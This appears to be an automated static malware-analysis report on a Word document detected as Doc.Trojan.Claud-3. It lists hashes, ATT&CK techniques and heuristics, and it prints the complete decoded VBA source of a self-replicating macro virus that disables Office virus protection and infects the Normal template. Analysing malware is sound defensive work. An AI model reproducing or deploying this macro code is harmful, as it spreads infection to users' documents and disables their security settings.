Doc.Trojan.Claud-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 73cd5751b888fb7d…

MALICIOUS

Office (OLE)

43.0 KB Created: 2012-05-25 20:52:00 Authoring application: Microsoft Word 11.6.3 First seen: 2015-01-15
MD5: ec4da2d3f9d5357ecc53ed0cc4739c9f SHA-1: 20cf972854d5f946b14e54d12caf94174924fe14 SHA-256: 73cd5751b888fb7d3f041360e6ea9f2f1fb3873917ee3a518fe4bec8d7db84bd
140 Risk Score

Malware Insights

Doc.Trojan.Claud-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that are designed to replicate themselves across documents and disable macro protection, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The macro code explicitly attempts to disable virus protection and replicate its code into other documents, including the Normal template. This behavior is characteristic of malware designed to spread and evade detection. The document body presents a plausible lure for preschool enrollment, which is a common social engineering tactic.

Heuristics 3

  • ClamAV: Doc.Trojan.Claud-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Claud-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      CommandBars("tools").Controls("macro").Enabled = False
  Options.VirusProtection = False
  y = 0

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1853 bytes
SHA-256: d8bef0b2ad442e91550a3b7c1155f8e1d7a918c5649307c005cccb0c3c6b475c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Claudio2"
Attribute VB_Base = "1Normal.Claudio2"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
  CommandBars("tools").Controls("macro").Enabled = False
  Options.VirusProtection = False
  y = 0
  If ad.Name = "Claudio2" Then GoTo InfectNormal
  i = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
Claudio:
  jota = 0
  jota = ad.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < nt.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = nt.CodeModule.Lines(jota, 1)
     ad.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   ad.Name = "Claudio2"
   ActiveDocument.SaveAs ActiveDocument.FullName
  Else
    ad.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo Claudio
  End If
 GoTo IYGH
InfectNormal:
If nt.Name <> "Claudio2" Then
i = ad.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
jota = 0
jota = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < ad.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = ad.CodeModule.Lines(jota, 1)
     nt.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   nt.Name = "Claudio2"
   NormalTemplate.Save
  Else
    nt.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo InfectNormal
  End If
 End If
IYGH:
'Este es un V macro, Elaborado por c l a u d I o
'Este es el Comienzo de la era de los V Claudio
End Sub

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